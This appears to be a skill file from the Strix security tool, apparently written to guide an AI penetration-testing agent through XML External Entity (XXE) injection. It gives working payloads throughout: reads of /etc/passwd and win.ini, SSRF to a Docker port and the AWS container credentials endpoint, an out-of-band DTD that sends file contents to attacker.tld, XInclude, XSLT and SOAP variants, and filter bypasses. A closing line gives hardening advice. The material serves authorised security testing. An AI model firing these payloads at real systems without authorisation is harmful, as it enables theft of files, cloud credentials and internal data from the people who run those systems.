Back to Strix

XXE

strix/skills/vulnerabilities/xxe.md

1.0.17.1 KB
Original Source

XXE

XML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.

Attack Surface

Capabilities

  • File disclosure: read server files and configuration
  • SSRF: reach metadata services, internal admin panels, service ports
  • DoS: entity expansion (billion laughs), external resource amplification

Injection Surfaces

  • REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
  • PDF generators, build/report pipelines, config importers

Transclusion

  • XInclude and XSLT document() loading external resources

High-Value Targets

File Uploads

  • SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
  • Android/iOS plist, project config imports

Protocols

  • SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
  • RSS/Atom feeds, server-side renderers and converters

Hidden Paths

  • Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
  • Processing-instruction headers

Detection Channels

Direct

  • Inline disclosure of entity content in the HTTP response, transformed output, or error pages

Error-Based

  • Coerce parser errors that leak path fragments or file content via interpolated messages

OAST

  • Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
  • Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
  • Use interactsh-client -v for the callback domain. Reference it as the external DTD host (e.g. <!ENTITY % ex SYSTEM "http://xyz.oast.fun/x.dtd">) and read the DNS/HTTP hit on the interactsh stdout.

Timing

  • Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)

Core Payloads

Local File

xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>
xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<r>&xxe;</r>

SSRF

xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
<r>&xxe;</r>
xml
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
<r>&xxe;</r>

OOB Parameter Entity

xml
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>

evil.dtd:

xml
<!ENTITY % f SYSTEM "file:///etc/hostname">
<!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
%e; %exfil;

Key Vulnerabilities

Parameter Entities

  • Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
  • Works even when general entities are sanitized in the XML tree

XInclude

xml
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.

XSLT Document

XSLT processors can fetch external resources via document():

xml
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.

Protocol Wrappers

  • Java: jar:, netdoc:
  • PHP: php://filter, expect:// (when module enabled)
  • Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes

Bypass Techniques

Encoding Variants

  • UTF-16/UTF-7 declarations, mixed newlines
  • CDATA and comments to evade naive filters

DOCTYPE Variants

  • PUBLIC vs SYSTEM, mixed case <!DoCtYpE>
  • Internal vs external subsets, multi-DOCTYPE edge handling

Network Controls

  • If network blocked but filesystem readable, pivot to local file disclosure
  • If files blocked but network open, pivot to SSRF/OAST

Special Contexts

SOAP

xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <d>&xxe;</d>
  </soap:Body>
</soap:Envelope>

SAML

  • Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
  • Test ACS endpoints with minimal probes

SVG and Renderers

  • Inline SVG and server-side SVG→PNG/PDF renderers process XML
  • Attempt local file reads via entities/XInclude

Office Docs

  • OOXML (docx/xlsx/pptx) are ZIPs containing XML
  • Insert payloads into document.xml, rels, or drawing XML and repackage

Testing Methodology

  1. Inventory consumers - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
  2. Capability probes - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
  3. Establish oracle - Error shape, length/ETag diffs, OAST callbacks
  4. Escalate - Targeted file/SSRF payloads
  5. Validate parity - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs

Validation

  1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
  2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
  3. Confirm blind channels with OAST and correlate to the triggering request
  4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
  5. Bound impact: exact files/data reached or internal targets proven

False Positives

  • DOCTYPE accepted but entities not resolved and no transclusion reachable
  • Filters or sandboxes that emit entity strings literally (no IO performed)
  • Mocks/stubs that simulate success without network/file access
  • XML processed only client-side (no server parse)

Impact

  • Disclosure of credentials/keys/configs, code, and environment secrets
  • Access to cloud metadata/token services and internal admin panels
  • Denial of service via entity expansion or slow external resources
  • Code execution via XSLT/expect:// in insecure stacks

Pro Tips

  1. Prefer OAST first; it is the quietest confirmation in production-like paths
  2. When content is sanitized, use error-based and length/ETag diffs
  3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
  4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
  5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
  6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
  7. Test background processors separately; they often use different parser settings
  8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
  9. Combine with path traversal and deserialization where XML touches downstream systems
  10. Document exact parser behavior per stack; defenses must match real libraries and flags

Summary

XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.